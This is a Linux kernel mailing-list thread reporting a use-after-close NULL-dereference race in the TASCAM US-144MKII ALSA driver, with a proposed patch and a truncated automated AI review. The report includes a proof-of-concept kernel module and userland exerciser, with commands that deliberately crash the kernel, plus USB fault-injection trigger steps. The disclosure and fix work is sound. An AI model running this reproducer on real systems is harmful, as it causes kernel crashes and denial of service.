1. The work is queued on feedback sync loss:
if (tascam->feedback_synced) {
tascam->feedback_consecutive_errors++;
if (tascam->feedback_consecutive_errors >
FEEDBACK_SYNC_LOSS_THRESHOLD) {
dev_err(tascam->card->dev,
"Fatal: Feedback sync lost. Stopping stream.\n");
schedule_work(&tascam->stop_pcm_work);
tascam->feedback_synced = false;
break;
}
}
(us144mkii_playback.c:347-356). FEEDBACK_SYNC_LOSS_THRESHOLD is
41 (us144mkii.h:88), so the condition is reached after 42
consecutive feedback errors.
2. The handler reads the pointers without a lock:
void tascam_stop_pcm_work_handler(struct work_struct *work)
{
struct tascam_card *tascam =
container_of(work, struct tascam_card,
stop_pcm_work);
if (tascam->playback_substream)
snd_pcm_stop(tascam->playback_substream,
SNDRV_PCM_STATE_XRUN);
if (tascam->capture_substream)
snd_pcm_stop(tascam->capture_substream,
SNDRV_PCM_STATE_XRUN);
}
(us144mkii_playback.c:447-456).
3. PCM close only NULLs the pointers and does not cancel the work:
tascam->playback_substream = NULL; /* or capture */
return 0;
(us144mkii_playback.c:35-42, us144mkii_capture.c:35-42). There
is no cancel_work_sync(&tascam->stop_pcm_work) in either close
callback.
4. ALSA then detaches and frees the runtime:
snd_pcm_drop(substream);
...
substream->ops->close(substream);
...
snd_pcm_detach_substream(substream);
(sound/core/pcm_native.c:2785-2805; sound/core/pcm.c:978-1005:
substream->runtime = NULL at 997, kfree(runtime) at 1001).
5. snd_pcm_stop() is not safe without the stream lock.
snd_pcm_action() is documented "Note: call with stream lock"
(sound/core/pcm_native.c:1411-1412); snd_pcm_pre_stop() does:
struct snd_pcm_runtime *runtime = substream->runtime;
if (runtime->state == SNDRV_PCM_STATE_OPEN)
return -EBADFD;
runtime->trigger_master = substream;
(sound/core/pcm_native.c:1549-1558). After detach runtime is
NULL, so the first dereference is a NULL-pointer oops.
snd_pcm_do_stop()/snd_pcm_post_stop() would also touch
runtime->trigger_master and runtime->sleep/tsleep (1570-1577).
6. Interleaving: the handler loads tascam->playback_substream (or
capture_substream) before close clears it, is preempted, close then
detaches and frees the runtime, and the handler proceeds into
snd_pcm_stop() and touches the NULL/freed runtime. The workqueue
item does not need to overlap with an URB completion at close time;
it only needs to be queued before close and executed after detach.
If the handler already passed a runtime non-NULL check before
detach, a narrower UAF is possible, but that form was not
reproduced and is not the primary claim.
* Trigger model
Feedback sync loss is needed: 42 consecutive feedback errors while
playback or capture is running. This can be produced with a USB
traffic fault injector, a short-packet/loss injection on the feedback
endpoint, or a programmable USB gadget emulating the device. After
the driver logs the feedback sync loss and queues the work, close the
PCM stream before the work runs. No special privilege beyond access
to the PCM device is required; TASCAM US-144MKII/US-144 hardware (or
an emulated equivalent) is required.
Consequence: NULL-pointer dereference / oops in
tascam_stop_pcm_work_handler() -> snd_pcm_stop() ->
snd_pcm_pre_stop(); because the work is already queued, this is
independent of the URB completion timing in Case 1.
* Reproducer (attached POC)
Attached files:
tascam_poc.c - synthetic ALSA PCM kernel module (C2 mode pcm2)
pcmtest.c - userland exerciser
Makefile - builds tascam_poc.ko against the running kernel
This POC does not drive the TASCAM device or inject feedback errors.
It creates a synthetic ALSA PCM card whose .close() only drops the
substream pointer, queues work that caches the substream, starts the
stream, and lets ALSA detach the runtime before the work calls
snd_pcm_stop(). It therefore reproduces the close/detach ordering in
point 4 above, not the real feedback-error path.
Build and run:
make
gcc -static -O2 -o pcmtest pcmtest.c
sudo modprobe snd-pcm
sudo insmod ./tascam_poc.ko mode=pcm2
sudo ./pcmtest 1
dmesg | tail -50
sudo rmmod tascam_poc
Expected result:
sndusb_race: c2 call snd_pcm_stop ss=... runtime=0000000000000000
BUG: KASAN: null-ptr-deref in snd_pcm_pre_stop+0x24/0x50
BUG: kernel NULL pointer dereference, address: 0000000000000000
Oops: 0000 [#1] SMP KASAN NOPTI
RIP: snd_pcm_pre_stop+0x24/0x50
Negative control (close cancels the work):
sudo insmod ./tascam_poc.ko mode=pcm2 safe=1
sudo ./pcmtest 1
Expected: no oops/KASAN report.
The module creates a capture PCM at card index 0; if that index is
occupied, check /proc/asound/cards and adjust DEV in pcmtest.c.
A minimal real-hardware KASAN test would:
- start playback and/or capture;
- inject 42 consecutive feedback errors (or use a gadget that
returns short/error packets on the feedback endpoint) until the
driver logs "Fatal: Feedback sync lost. Stopping stream.";
- immediately close the PCM stream in a loop;
- watch dmesg for a KASAN report with
tascam_stop_pcm_work_handler in the stack.
* Suggested direction
Make .close() cancel the work before returning to ALSA: clear the
active flag and pointer under tascam->lock, kill the relevant URBs
per-URB, then cancel_work_sync(&tascam->stop_pcm_work) (and
stop_work/capture_work as appropriate). cancel_work_sync() is the
lifecycle guarantee; it waits for a running handler.
In the handler, use snd_pcm_stop_xrun()
(sound/core/pcm_native.c:1628-1635), which takes the PCM stream lock
and rechecks substream->runtime. That fixes the API-convention
violation, but it is not a substitute for cancelling the work in
close: snd_pcm_detach_substream() does not take the stream lock, so
a handler that already passed the runtime check can still race with
detach.
I am happy to test a proposed fix.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: tascam_poc.c --]
[-- Type: text/plain, Size: 6616 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* tascam_poc.c - synthetic ALSA PCM lifetime reproducer for the TASCAM
* US-144MKII manual-review cases C1 and C2.
*
* This module deliberately reproduces the *lifetime patterns* of the driver,
* not the USB device itself:
* pcm1 : ALSA PCM .close() drops the runtime while an asynchronous
* "completion" still holds a runtime pointer (C1).
* pcm2 : a queued work item calls snd_pcm_stop() after .close()/detach
* (C2).
*
* The ALSA card is a synthetic platform device; no TASCAM hardware or USB
* traffic is involved. Build and run instructions are in README.txt.
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/delay.h>
#include <linux/kthread.h>
#include <linux/wait.h>
#include <linux/completion.h>
#include <linux/platform_device.h>
#include <sound/core.h>
#include <sound/pcm.h>
#include <sound/pcm_params.h>
#define DRV "sndusb_race"
#define COOKIE 0x5a5a1234deadbeefULL
static char *mode = "pcm1";
module_param(mode, charp, 0444);
static bool safe;
module_param(safe, bool, 0444);
MODULE_PARM_DESC(mode, "pcm1 or pcm2");
MODULE_PARM_DESC(safe, "take the safe cleanup path (negative control)");
/* ------------------------------------------------------------------ */
/* V1/V2 synthetic ALSA PCM */
/* ------------------------------------------------------------------ */
struct race_pcm {
struct snd_pcm_substream *substream;
struct snd_pcm_runtime *runtime;
struct work_struct work;
atomic_t active;
bool c2;
u64 cookie;
};
static struct snd_card *race_card;
static struct platform_device *race_pdev;
static struct snd_pcm *race_pcm_dev;
static void race_pcm_work(struct work_struct *work)
{
struct race_pcm *m = container_of(work, struct race_pcm, work);
struct snd_pcm_runtime *rt = m->runtime;
struct snd_pcm_substream *ss = m->substream;
pr_info(DRV ": work start mode=%s rt=%px ss=%px cookie=%#llx\n",
m->c2 ? "c2" : "c1", rt, ss, m->cookie);
if (!m->c2 && !rt)
return;
if (m->c2 && !ss)
return;
/* Give the closing thread time to run .close() and detach/free. */
msleep(120);
if (!m->c2) {
/*
* C1: the completion cached runtime before close; after
* snd_pcm_detach_substream() this is freed memory.
*/
pr_info(DRV ": c1 use rt=%px dma_area=%px\n", rt,
READ_ONCE(rt->dma_area));
barrier();
(void)READ_ONCE(rt->dma_area);
} else {
/*
* C2: the work cached the substream, but detach made
* ss->runtime NULL; snd_pcm_stop() dereferences it.
*/
pr_info(DRV ": c2 call snd_pcm_stop ss=%px runtime=%px\n",
ss, READ_ONCE(ss->runtime));
snd_pcm_stop(ss, SNDRV_PCM_STATE_XRUN);
}
pr_info(DRV ": work end\n");
}
static int race_pcm_open(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *m;
m = kzalloc(sizeof(*m), GFP_KERNEL);
if (!m)
return -ENOMEM;
m->substream = substream;
m->runtime = runtime;
m->cookie = COOKIE;
m->c2 = !strcmp(mode, "pcm2");
INIT_WORK(&m->work, race_pcm_work);
atomic_set(&m->active, 0);
runtime->private_data = m;
runtime->hw.info = SNDRV_PCM_INFO_MMAP |
SNDRV_PCM_INFO_INTERLEAVED |
SNDRV_PCM_INFO_MMAP_VALID;
runtime->hw.formats = SNDRV_PCM_FMTBIT_S16_LE;
runtime->hw.rates = SNDRV_PCM_RATE_44100;
runtime->hw.rate_min = 44100;
runtime->hw.rate_max = 44100;
runtime->hw.channels_min = 2;
runtime->hw.channels_max = 2;
runtime->hw.buffer_bytes_max = 64 * 1024;
runtime->hw.period_bytes_min = 1024;
runtime->hw.period_bytes_max = 4096;
runtime->hw.periods_min = 2;
runtime->hw.periods_max = 8;
pr_info(DRV ": open sub=%px rt=%px mode=%s\n", substream, runtime, mode);
return 0;
}
static int race_pcm_close(struct snd_pcm_substream *substream)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *m = runtime ? runtime->private_data : NULL;
pr_info(DRV ": close sub=%px rt=%px m=%px safe=%d\n",
substream, runtime, m, safe);
if (m && safe)
cancel_work_sync(&m->work);
if (m) {
m->substream = NULL;
m->runtime = NULL;
}
return 0;
}
static int race_pcm_hw_params(struct snd_pcm_substream *substream,
struct snd_pcm_hw_params *params)
{
return 0;
}
static int race_pcm_prepare(struct snd_pcm_substream *substream)
{
return 0;
}
static int race_pcm_trigger(struct snd_pcm_substream *substream, int cmd)
{
struct snd_pcm_runtime *runtime = substream->runtime;
struct race_pcm *m = runtime ? runtime->private_data : NULL;
if (!m)
return 0;
switch (cmd) {
case SNDRV_PCM_TRIGGER_START:
case SNDRV_PCM_TRIGGER_RESUME:
atomic_set(&m->active, 1);
pr_info(DRV ": trigger start, queue work\n");
schedule_work(&m->work);
break;
case SNDRV_PCM_TRIGGER_STOP:
case SNDRV_PCM_TRIGGER_SUSPEND:
atomic_set(&m->active, 0);
break;
}
return 0;
}
static snd_pcm_uframes_t race_pcm_pointer(struct snd_pcm_substream *substream)
{
return 0;
}
static const struct snd_pcm_ops race_pcm_ops = {
.open = race_pcm_open,
.close = race_pcm_close,
.hw_params = race_pcm_hw_params,
.prepare = race_pcm_prepare,
.trigger = race_pcm_trigger,
.pointer = race_pcm_pointer,
};
static int sndusb_pcm_init(void)
{
int ret;
race_pdev = platform_device_register_simple("sndusb_race", -1, NULL, 0);
if (IS_ERR(race_pdev))
return PTR_ERR(race_pdev);
ret = snd_card_new(&race_pdev->dev, 0, "SndUsbRace", THIS_MODULE, 0,
&race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_new failed: %d\n", ret);
return ret;
}
ret = snd_pcm_new(race_card, "SndUsbRace", 0, 0, 1, &race_pcm_dev);
if (ret < 0) {
pr_err(DRV ": snd_pcm_new failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
snd_pcm_set_ops(race_pcm_dev, SNDRV_PCM_STREAM_CAPTURE, &race_pcm_ops);
snd_pcm_lib_preallocate_pages_for_all(race_pcm_dev,
SNDRV_DMA_TYPE_CONTINUOUS, NULL,
64 * 1024, 64 * 1024);
ret = snd_card_register(race_card);
if (ret < 0) {
pr_err(DRV ": snd_card_register failed: %d\n", ret);
snd_card_free(race_card);
return ret;
}
pr_info(DRV ": card registered mode=%s safe=%d\n", mode, safe);
return 0;
}
static int __init sndusb_init(void)
{
pr_info(DRV ": init mode=%s safe=%d\n", mode, safe);
return sndusb_pcm_init();
}
static void __exit sndusb_exit(void)
{
pr_info(DRV ": exit\n");
if (race_card)
snd_card_free(race_card);
if (race_pdev)
platform_device_unregister(race_pdev);
}
module_init(sndusb_init);
module_exit(sndusb_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("TASCAM US-144MKII C1/C2 synthetic lifetime reproducer");
[-- Attachment #3: pcmtest.c --]
[-- Type: text/plain, Size: 3737 bytes --]
#define _GNU_SOURCE
// SPDX-License-Identifier: GPL-2.0
/*
* pcmtest.c - guest-side exerciser for sndpci_race.ko.
*
* Usage:
* pcmtest close [iters] - open/start/close one playback substream (V4)
* pcmtest link [iters] - link two playback substreams, close B while
* the A timer callback walks the group (V5)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <limits.h>
#include <sched.h>
#include <sound/asound.h>
#define DEV "/dev/snd/pcmC0D0c"
static int set_hw_params(int fd)
{
struct snd_pcm_hw_params p;
int i, ret;
memset(&p, 0, sizeof(p));
for (i = 0; i <= SNDRV_PCM_HW_PARAM_LAST_MASK -
SNDRV_PCM_HW_PARAM_FIRST_MASK; i++)
memset(&p.masks[i], 0xff, sizeof(p.masks[i]));
for (i = 0; i <= SNDRV_PCM_HW_PARAM_LAST_INTERVAL -
SNDRV_PCM_HW_PARAM_FIRST_INTERVAL; i++) {
p.intervals[i].min = 0;
p.intervals[i].max = UINT_MAX;
p.intervals[i].integer = 0;
}
p.rmask = ~0U;
ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_REFINE, &p);
printf("HW_REFINE ret=%d errno=%d\n", ret, errno);
if (ret < 0)
return -1;
printf("refined: rate=%u ch=%u fmt=%u ps=%u periods=%u bs=%u\n",
p.intervals[SNDRV_PCM_HW_PARAM_RATE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_CHANNELS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
__builtin_ctz(p.masks[SNDRV_PCM_HW_PARAM_FORMAT].bits[0]),
p.intervals[SNDRV_PCM_HW_PARAM_PERIOD_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_PERIODS - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min,
p.intervals[SNDRV_PCM_HW_PARAM_BUFFER_SIZE - SNDRV_PCM_HW_PARAM_FIRST_INTERVAL].min);
ret = ioctl(fd, SNDRV_PCM_IOCTL_HW_PARAMS, &p);
if (ret < 0) {
fprintf(stderr, "HW_PARAMS: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int open_stream(void)
{
int fd = open(DEV, O_RDWR | O_NONBLOCK);
if (fd < 0)
fprintf(stderr, "open %s: %s\n", DEV, strerror(errno));
return fd;
}
static int prepare_stream(int fd)
{
if (set_hw_params(fd) < 0)
return -1;
if (ioctl(fd, SNDRV_PCM_IOCTL_PREPARE, 0) < 0) {
fprintf(stderr, "PREPARE: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int start_stream(int fd)
{
if (ioctl(fd, SNDRV_PCM_IOCTL_START, 0) < 0) {
fprintf(stderr, "START: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int one_close(void)
{
int fd = open_stream();
if (fd < 0)
return -1;
if (prepare_stream(fd) < 0 || start_stream(fd) < 0) {
close(fd);
return -1;
}
usleep(10000);
close(fd);
return 0;
}
static int one_link(void)
{
int a = open_stream();
int b = open_stream();
if (a < 0 || b < 0)
return -1;
if (prepare_stream(a) < 0 || prepare_stream(b) < 0)
goto out;
if (ioctl(a, SNDRV_PCM_IOCTL_LINK, b) < 0) {
fprintf(stderr, "LINK: %s\n", strerror(errno));
goto out;
}
if (start_stream(a) < 0)
goto out;
/* Let the A timer callback start walking the linked group. */
usleep(1500);
/* Close B while A's callback may be in the group loop. */
close(b);
b = -1;
usleep(1500);
out:
if (b >= 0)
close(b);
if (a >= 0)
close(a);
return 0;
}
int main(int argc, char **argv)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(1, &set);
sched_setaffinity(0, sizeof(set), &set);
int i, n = 200;
if (argc < 2) {
fprintf(stderr, "usage: %s close|link [iters]\n", argv[0]);
return 2;
}
if (argc > 2)
n = atoi(argv[2]);
printf("pcmtest: mode=%s iters=%d\n", argv[1], n);
for (i = 0; i < n; i++) {
if (!strcmp(argv[1], "link")) {
if (one_link() < 0)
break;
} else {
if (one_close() < 0)
break;
}
}
printf("pcmtest: done i=%d\n", i);
return 0;
}
[-- Attachment #4: Makefile --]
[-- Type: application/octet-stream, Size: 320 bytes --]
# Build against the running kernel's headers.
# For a KASAN test kernel, set KDIR to that build tree, e.g.:
# make KDIR=/path/to/linux KASAN=1
KDIR ?= /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)
all:
$(MAKE) -C $(KDIR) M=$(PWD) modules
clean:
$(MAKE) -C $(KDIR) M=$(PWD) clean
obj-m := tascam_poc.o
^ permalink raw reply [flat|nested] 101+ messages in thread* [PATCH] Re: ALSA: usb-audio: us144mkii: queued stop_pcm_work calls snd_pcm_stop() after PCM close and dereferences NULL runtime
2026-11-13 12:29 ` ALSA: usb-audio: us144mkii: queued stop_pcm_work calls snd_pcm_stop() after PCM close and dereferences NULL runtime 徐晗翔
@ 2026-11-25 12:49 ` 徐晗翔
2026-11-25 13:03 ` sashiko-bot
0 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-11-25 12:49 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
A stop_pcm_work queued by feedback_urb_complete() after a feedback
sync loss read tascam->playback_substream/capture_substream without
any lock and called snd_pcm_stop() on them; PCM close did not
cancel the work, so after snd_pcm_detach_substream() cleared
substream->runtime the handler's snd_pcm_stop() oopsed in
snd_pcm_pre_stop() on the NULL runtime.
Cancel the work in both .close() callbacks (cancel_work_sync() is
the lifecycle guarantee; it waits for a running handler), and make
the handler use snd_pcm_stop_xrun(), which takes the PCM stream
lock itself and rechecks substream->runtime -- fixing both the
missing close-cancel and the ALSA convention that snd_pcm_action()
must run under the stream lock. This patch touches the same .close()
functions as the separate PCM-close UAF report; the two fixes are
complementary, not interchangeable.
---
sound/usb/usx2y/us144mkii_playback.c | 12 ++++++++++--
sound/usb/usx2y/us144mkii_capture.c | 3 +++
2 files changed, 13 insertions(+), 2 deletions(-)
diff --git a/sound/usb/usx2y/us144mkii_playback.c b/sound/usb/usx2y/us144mkii_playback.c
--- a/sound/usb/usx2y/us144mkii_playback.c
+++ b/sound/usb/usx2y/us144mkii_playback.c
@@ -37,6 +37,9 @@
struct tascam_card *tascam = snd_pcm_substream_chip(substream);
tascam->playback_substream = NULL;
+ /* a stop_pcm_work queued on feedback sync loss must not run after
+ * ALSA detached the substream and freed its runtime */
+ cancel_work_sync(&tascam->stop_pcm_work);
return 0;
}
@@ -449,8 +452,13 @@
struct tascam_card *tascam =
container_of(work, struct tascam_card, stop_pcm_work);
+ /* snd_pcm_stop() requires the PCM stream lock and dereferences
+ * substream->runtime unconditionally; after a concurrent close the
+ * runtime is NULL and snd_pcm_pre_stop() oopses. Use
+ * snd_pcm_stop_xrun(), which takes the stream lock itself and
+ * rechecks substream->runtime before touching it. */
if (tascam->playback_substream)
- snd_pcm_stop(tascam->playback_substream, SNDRV_PCM_STATE_XRUN);
+ snd_pcm_stop_xrun(tascam->playback_substream);
if (tascam->capture_substream)
- snd_pcm_stop(tascam->capture_substream, SNDRV_PCM_STATE_XRUN);
+ snd_pcm_stop_xrun(tascam->capture_substream);
}
diff --git a/sound/usb/usx2y/us144mkii_capture.c b/sound/usb/usx2y/us144mkii_capture.c
--- a/sound/usb/usx2y/us144mkii_capture.c
+++ b/sound/usb/usx2y/us144mkii_capture.c
@@ -37,6 +37,9 @@
struct tascam_card *tascam = snd_pcm_substream_chip(substream);
tascam->capture_substream = NULL;
+ /* a stop_pcm_work queued on feedback sync loss must not run after
+ * ALSA detached the substream and freed its runtime */
+ cancel_work_sync(&tascam->stop_pcm_work);
return 0;
}
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-11-13 20:29:53 (星期五)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: usb-audio: us144mkii: queued stop_pcm_work calls snd_pcm_stop() after PCM close and dereferences NULL runtime
>
> tascam_stop_pcm_work_handler() is queued by feedback_urb_complete()
> after a feedback sync loss, then reads tascam->playback_substream and
> tascam->capture_substream without any lock and calls snd_pcm_stop() on
> them. PCM close does not cancel this work. If close completes first,
> snd_pcm_detach_substream() sets substream->runtime to NULL and frees the
> snd_pcm_runtime; when the handler reaches snd_pcm_stop(),
> snd_pcm_pre_stop() re-reads substream->runtime and dereferences the NULL
> pointer. This is a conditional NULL-pointer dereference / oops on an
> ordinary PCM close; a narrower runtime-UAF window is theoretically
> possible but was not reproduced, so this report does not claim UAF.
> The handler also violates the ALSA convention that snd_pcm_action()
> must be called with the PCM stream lock held.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux 7.3.0 source tree (VERSION=7, PATCHLEVEL=3, SUBLEVEL=0),
> sound/usb/usx2y/us144mkii_playback.c, us144mkii_pcm.c and
> us144mkii.h. The driver binds the TASCAM US-144MKII (0644:8020) and
> US-144 (0644:800f). The relevant configuration is
> CONFIG_SND_USB_US144MKII=m.
>
> This report is based on source inspection, plus a synthetic ALSA PCM
> model used to validate the close/detach ordering. I have not run the
> real driver on TASCAM hardware; no real-hardware result is claimed.
> The attached POC is that synthetic-ordering model, not a TASCAM
> hardware reproducer.
>
> * Mechanism
>
> 1. The work is queued on feedback sync loss:
>
> if (tascam->feedback_synced) {
> tascam->feedback_consecutive_errors++;
> if (tascam->feedback_consecutive_errors >
> FEEDBACK_SYNC_LOSS_THRESHOLD) {
> dev_err(tascam->card->dev,
> "Fatal: Feedback sync lost. Stopping stream.\n");
> schedule_work(&tascam->stop_pcm_work);
> tascam->feedback_synced = false;
> break;
> }
> }
>
> (us144mkii_playback.c:347-356). FEEDBACK_SYNC_LOSS_THRESHOLD is
> 41 (us144mkii.h:88), so the condition is reached after 42
> consecutive feedback errors.
>
> 2. The handler reads the pointers without a lock:
>
> void tascam_stop_pcm_work_handler(struct work_struct *work)
> {
> struct tascam_card *tascam =
> container_of(work, struct tascam_card,
> stop_pcm_work);
>
> if (tascam->playback_substream)
> snd_pcm_stop(tascam->playback_substream,
> SNDRV_PCM_STATE_XRUN);
> if (tascam->capture_substream)
> snd_pcm_stop(tascam->capture_substream,
> SNDRV_PCM_STATE_XRUN);
> }
>
> (us144mkii_playback.c:447-456).
>
> 3. PCM close only NULLs the pointers and does not cancel the work:
>
> tascam->playback_substream = NULL; /* or capture */
> return 0;
>
> (us144mkii_playback.c:35-42, us144mkii_capture.c:35-42). There
> is no cancel_work_sync(&tascam->stop_pcm_work) in either close
> callback.
>
> 4. ALSA then detaches and frees the runtime:
>
> snd_pcm_drop(substream);
> ...
> substream->ops->close(substream);
> ...
> snd_pcm_detach_substream(substream);
>
> (sound/core/pcm_native.c:2785-2805; sound/core/pcm.c:978-1005:
> substream->runtime = NULL at 997, kfree(runtime) at 1001).
>
> 5. snd_pcm_stop() is not safe without the stream lock.
> snd_pcm_action() is documented "Note: call with stream lock"
> (sound/core/pcm_native.c:1411-1412); snd_pcm_pre_stop() does:
>
> struct snd_pcm_runtime *runtime = substream->runtime;
> if (runtime->state == SNDRV_PCM_STATE_OPEN)
> return -EBADFD;
> runtime->trigger_master = substream;
>
> (sound/core/pcm_native.c:1549-1558). After detach runtime is
> NULL, so the first dereference is a NULL-pointer oops.
> snd_pcm_do_stop()/snd_pcm_post_stop() would also touch
> runtime->trigger_master and runtime->sleep/tsleep (1570-1577).
>
> 6. Interleaving: the handler loads tascam->playback_substream (or
> capture_substream) before close clears it, is preempted, close then
> detaches and frees the runtime, and the handler proceeds into
> snd_pcm_stop() and touches the NULL/freed runtime. The workqueue
> item does not need to overlap with an URB completion at close time;
> it only needs to be queued before close and executed after detach.
> If the handler already passed a runtime non-NULL check before
> detach, a narrower UAF is possible, but that form was not
> reproduced and is not the primary claim.
>
> * Trigger model
>
> Feedback sync loss is needed: 42 consecutive feedback errors while
> playback or capture is running. This can be produced with a USB
> traffic fault injector, a short-packet/loss injection on the feedback
> endpoint, or a programmable USB gadget emulating the device. After
> the driver logs the feedback sync loss and queues the work, close the
> PCM stream before the work runs. No special privilege beyond access
> to the PCM device is required; TASCAM US-144MKII/US-144 hardware (or
> an emulated equivalent) is required.
>
> Consequence: NULL-pointer dereference / oops in
> tascam_stop_pcm_work_handler() -> snd_pcm_stop() ->
> snd_pcm_pre_stop(); because the work is already queued, this is
> independent of the URB completion timing in Case 1.
>
> * Reproducer (attached POC)
>
> Attached files:
> tascam_poc.c - synthetic ALSA PCM kernel module (C2 mode pcm2)
> pcmtest.c - userland exerciser
> Makefile - builds tascam_poc.ko against the running kernel
>
> This POC does not drive the TASCAM device or inject feedback errors.
> It creates a synthetic ALSA PCM card whose .close() only drops the
> substream pointer, queues work that caches the substream, starts the
> stream, and lets ALSA detach the runtime before the work calls
> snd_pcm_stop(). It therefore reproduces the close/detach ordering in
> point 4 above, not the real feedback-error path.
>
> Build and run:
> make
> gcc -static -O2 -o pcmtest pcmtest.c
> sudo modprobe snd-pcm
> sudo insmod ./tascam_poc.ko mode=pcm2
> sudo ./pcmtest 1
> dmesg | tail -50
> sudo rmmod tascam_poc
>
> Expected result:
> sndusb_race: c2 call snd_pcm_stop ss=... runtime=0000000000000000
> BUG: KASAN: null-ptr-deref in snd_pcm_pre_stop+0x24/0x50
> BUG: kernel NULL pointer dereference, address: 0000000000000000
> Oops: 0000 [#1] SMP KASAN NOPTI
> RIP: snd_pcm_pre_stop+0x24/0x50
>
> Negative control (close cancels the work):
> sudo insmod ./tascam_poc.ko mode=pcm2 safe=1
> sudo ./pcmtest 1
> Expected: no oops/KASAN report.
>
> The module creates a capture PCM at card index 0; if that index is
> occupied, check /proc/asound/cards and adjust DEV in pcmtest.c.
>
> A minimal real-hardware KASAN test would:
> - start playback and/or capture;
> - inject 42 consecutive feedback errors (or use a gadget that
> returns short/error packets on the feedback endpoint) until the
> driver logs "Fatal: Feedback sync lost. Stopping stream.";
> - immediately close the PCM stream in a loop;
> - watch dmesg for a KASAN report with
> tascam_stop_pcm_work_handler in the stack.
>
>
> * Suggested direction
>
> Make .close() cancel the work before returning to ALSA: clear the
> active flag and pointer under tascam->lock, kill the relevant URBs
> per-URB, then cancel_work_sync(&tascam->stop_pcm_work) (and
> stop_work/capture_work as appropriate). cancel_work_sync() is the
> lifecycle guarantee; it waits for a running handler.
>
> In the handler, use snd_pcm_stop_xrun()
> (sound/core/pcm_native.c:1628-1635), which takes the PCM stream lock
> and rechecks substream->runtime. That fixes the API-convention
> violation, but it is not a substitute for cancelling the work in
> close: snd_pcm_detach_substream() does not take the stream lock, so
> a handler that already passed the runtime check can still race with
> detach.
>
> I am happy to test a proposed fix.
>
> Please keep me in Cc; I am not subscribed to the lists.
>
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] Re: ALSA: usb-audio: us144mkii: queued stop_pcm_work calls snd_pcm_stop() after PCM close and dereferences NULL runtime
2026-11-25 12:49 ` [PATCH] " 徐晗翔
@ 2026-11-25 13:03 ` sashiko-bot
0 siblings, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-11-25 13:03 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 5 potential
issues to consider:
- [High] ALSA: usb-audio: us144mkii: missing Signed-off-by trailer in
commit
- [High] ALSA: usb-audio: us144mkii: feedback_urb_complete() re-arms
work after close
- [Medium] ALSA: usb-audio: us144mkii: unlocked TOCTOU substream read in
stop_pcm_work
- [Medium] ALSA: usb-audio: us144mkii: cancel_work_sync() in close drops
sibling XRUN
- [Low] ALSA: usb-audio: us144mkii: missing Fixes trailer in commit
message
--
commit b36c55bb30946f2fb9b8c0b478d61532334be47c
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: usb-audio: us144mkii: queued stop_pcm_work calls snd_pcm_stop() after PCM close and dereferences NULL runtime
>
> A stop_pcm_work queued by feedback_urb_complete() after a feedback
> sync loss read tascam->playback_substream/capture_substream without
> any lock and called snd_pcm_stop() on them; PCM close did not
> cancel the work, so after snd_pcm_detach_substream() cleared
> substream->runtime the handler's snd_pcm_stop() oopsed in
> snd_pcm_pre_stop() on the NULL runtime.
>
> Cancel the work in both .close() callbacks (cancel_work_sync() is
> the lifecycle guarantee; it waits for a running handler), and make
> the handler use snd_pcm_stop_xrun(), which takes the PCM stream
> lock itself and rechecks substream->runtime -- fixing both the
> missing close-cancel and the ALSA convention that snd_pcm_action()
> must run under the stream lock. This patch touches the same .close()
> functions as the separate PCM-close UAF report; the two fixes are
> complementary, not interchangeable.
[Severity: High]
This commit message is missing a Signed-off-by: trailer.
[Severity: Low]
Since this fixes a bug introduced when playback and feedback handling were
added, should it include a Fixes: tag?
Fixes: a2a2210f2c2e ("ALSA: usb-audio: us144mkii: Implement audio playback and feedback")
> diff --git a/sound/usb/usx2y/us144mkii_capture.c b/sound/usb/usx2y/us144mkii_capture.c
> index d7cdf9e0f6851..1f6d87a9421a5 100644
> --- a/sound/usb/usx2y/us144mkii_capture.c
> +++ b/sound/usb/usx2y/us144mkii_capture.c
> @@ -37,6 +37,9 @@ static int tascam_capture_close(struct snd_pcm_substream *substream)
> struct tascam_card *tascam = snd_pcm_substream_chip(substream);
>
> tascam->capture_substream = NULL;
> + /* a stop_pcm_work queued on feedback sync loss must not run after
> + * ALSA detached the substream and freed its runtime */
> + cancel_work_sync(&tascam->stop_pcm_work);
>
> return 0;
> }
[Severity: Medium]
Can cancelling tascam->stop_pcm_work here drop a pending feedback-sync-loss
XRUN stop for a playback substream that is still running?
tascam->stop_pcm_work is shared by both playback and capture. When
feedback_urb_complete() queues tascam->stop_pcm_work, it immediately sets
tascam->feedback_synced = false:
sound/usb/usx2y/us144mkii_playback.c:feedback_urb_complete() {
...
